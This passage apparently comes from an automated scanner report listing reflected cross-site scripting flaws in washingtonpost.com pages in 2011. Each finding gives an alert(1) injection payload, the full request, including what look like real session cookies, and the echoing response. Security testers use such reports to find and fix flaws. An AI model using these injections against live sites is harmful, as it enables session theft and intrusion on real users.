<input type="hidden" name="rurl" value="/philly/news/nation_world/121548659.html?ef135';alert(1)//4b169261d24=1?&subscribe=y&listID=1782" \/>
...[SNIP]...

4.347. http://www.washingtonpost.com//vendor/survey-gizmo.jsp [pollID parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	//vendor/survey-gizmo.jsp

Issue detail

The value of the pollID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ad536"%3balert(1)//357e980029e was submitted in the pollID parameter. This input was echoed as ad536";alert(1)//357e980029e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET //vendor/survey-gizmo.jsp?pollURL=http://www.surveygizmo.com/s3/polljs&pollID=539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59Had536"%3balert(1)//357e980029e HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243; wapo_saved_omnitureid=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D; backplane-channel=washpost.com:130503326439488483

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html; charset=UTF-8
X-Cnection: close
Date: Tue, 10 May 2011 13:32:57 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 531

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>

...[SNIP]...
<scr"+"ipt type=\"text/javascript\" src=\"http://www.surveygizmo.com/s3/polljs/539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59Had536";alert(1)//357e980029e/?cookie="+document.cookie.match(/sg-response-539472/gi)+"\">
...[SNIP]...

4.348. http://www.washingtonpost.com//vendor/survey-gizmo.jsp [pollURL parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	//vendor/survey-gizmo.jsp

Issue detail

The value of the pollURL request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 876b8"%3balert(1)//7f9016215bc was submitted in the pollURL parameter. This input was echoed as 876b8";alert(1)//7f9016215bc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET //vendor/survey-gizmo.jsp?pollURL=http://www.surveygizmo.com/s3/polljs876b8"%3balert(1)//7f9016215bc&pollID=539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070; headzip=20001; rsi_segs=J05531_10298|J05531_10323|J05531_10488|J05531_10499|J05531_10501|D08734_70008|D08734_72078|J05531_10128; wapo_vis_id=6162765c-0f78-4cc9-8332-d644ebfef80c; wapo_sess_id=6B06C0C048D94D618BE338C5FA23551E; wapo_last_ip=173.193.214.243; wapo_saved_ip=173.193.214.243; wapo_saved_omnitureid=%5BCS%5Dv1%7C26DEF6EE05011508-40000100A0001105%5BCE%5D; backplane-channel=washpost.com:130503326439488483

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html; charset=UTF-8
X-Cnection: close
Date: Tue, 10 May 2011 13:32:56 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 531

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>

...[SNIP]...
<scr"+"ipt type=\"text/javascript\" src=\"http://www.surveygizmo.com/s3/polljs876b8";alert(1)//7f9016215bc/539472-DPU5JRD6BN7QFZ9AI8X6B82W22I59H/?cookie="+document.cookie.match(/sg-response-539472/gi)+"\">
...[SNIP]...

4.349. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 10] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 10 is copied into the HTML document as plain text between tags. The payload a5156<script>alert(1)</script>c397abdf012 was submitted in the REST URL parameter 10. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpga5156<script>alert(1)</script>c397abdf012?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:31 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May 9/photos.jpga5156<script>alert(1)</script>c397abdf012</p>
...[SNIP]...

4.350. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 2e28e<script>alert(1)</script>300cd8207d4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost2e28e<script>alert(1)</script>300cd8207d4/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:16 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost2e28e<script>alert(1)</script>300cd8207d4/Content/Blogs/blogpost/201105/Images/May 9/photos.jpg</p>
...[SNIP]...

4.351. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 61283<script>alert(1)</script>49d7a3bd9f8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content61283<script>alert(1)</script>49d7a3bd9f8/Blogs/blogpost/201105/Images/May%209/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:18 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content61283<script>alert(1)</script>49d7a3bd9f8/Blogs/blogpost/201105/Images/May 9/photos.jpg</p>
...[SNIP]...

4.352. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload bbc0d<script>alert(1)</script>86c7aee767b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content/Blogsbbc0d<script>alert(1)</script>86c7aee767b/blogpost/201105/Images/May%209/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:20 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content/Blogsbbc0d<script>alert(1)</script>86c7aee767b/blogpost/201105/Images/May 9/photos.jpg</p>
...[SNIP]...

4.353. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 6 is copied into the HTML document as plain text between tags. The payload 6d775<script>alert(1)</script>914d59f06f1 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content/Blogs/blogpost6d775<script>alert(1)</script>914d59f06f1/201105/Images/May%209/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:22 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content/Blogs/blogpost6d775<script>alert(1)</script>914d59f06f1/201105/Images/May 9/photos.jpg</p>
...[SNIP]...

4.354. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 7 is copied into the HTML document as plain text between tags. The payload 6aac0<script>alert(1)</script>8cf6d3ab18b was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content/Blogs/blogpost/2011056aac0<script>alert(1)</script>8cf6d3ab18b/Images/May%209/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:24 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/2011056aac0<script>alert(1)</script>8cf6d3ab18b/Images/May 9/photos.jpg</p>
...[SNIP]...

4.355. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 8 is copied into the HTML document as plain text between tags. The payload c1e77<script>alert(1)</script>b3d60bd5324 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Imagesc1e77<script>alert(1)</script>b3d60bd5324/May%209/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WPNIUCID=WPNI1304310786188.9974; s_vi=[CS]v1|26DEF6EE05011508-40000100A0001105[CE]; s_pers=%20s_nr%3D1305033204715-Repeat%7C1307625204715%3B%20s_lv%3D1305033204717%7C1399641204717%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1305035004717%3B%20s_vmonthnum%3D1306904400800%2526vn%253D2%7C1306904400800%3B%20s_monthinvisit%3Dtrue%7C1305035004721%3B%20gvp_p5%3Dopinions%253Ablog%253Aright-turn%2520-%2520AFHhSbBG%2520-%252020110506%2520-%2520rick-santorum-doesnt-understand-america%7C1305035004728%3B; s_sess=%20s_cc%3Dtrue%3B%20s_dslv%3DMore%2520than%25207%2520days%3B%20s_wp_ep%3Dblog%3B%20s._ref%3DDirect-Load%3B%20s_sq%3D%3B; __qseg=Q_D|Q_T|Q_2919|Q_1807|Q_1665|Q_1649|Q_1648|Q_1645; rss_now=false; wpni_poe=true; popUpClockCookie=1; popUpOnPreviousPageCookie=true; wp_pageview=1; mbox=check#true#1305033270|session#1305033209163-998563#1305035070

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Length: 739
X-Cnection: close
X-N: S
Date: Tue, 10 May 2011 13:17:27 GMT
Connection: close
Vary: Accept-Encoding

<html><head><title>M..thode Portal - Error</title><style> * { font-family: arial; color: #666666; } h1 { padding: 2px; background-color: #0E5582; color: #FFFFFF; } h2 { margin: 2px 0px 2px 0px; } p {
...[SNIP]...
<p>/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Imagesc1e77<script>alert(1)</script>b3d60bd5324/May 9/photos.jpg</p>
...[SNIP]...

4.356. http://www.washingtonpost.com/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg [REST URL parameter 9] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209/photos.jpg

Issue detail

The value of REST URL parameter 9 is copied into the HTML document as plain text between tags. The payload 485bb<script>alert(1)</script>026ef9b977d was submitted in the REST URL parameter 9. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rf/image_606w/WashingtonPost/Content/Blogs/blogpost/201105/Images/May%209485bb<script>alert(1)</script>026ef9b977d/photos.jpg?uuid=TFawwnpHEeCkCHJLnYQLog HTTP/1.1
Host: www.washingtonpost.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
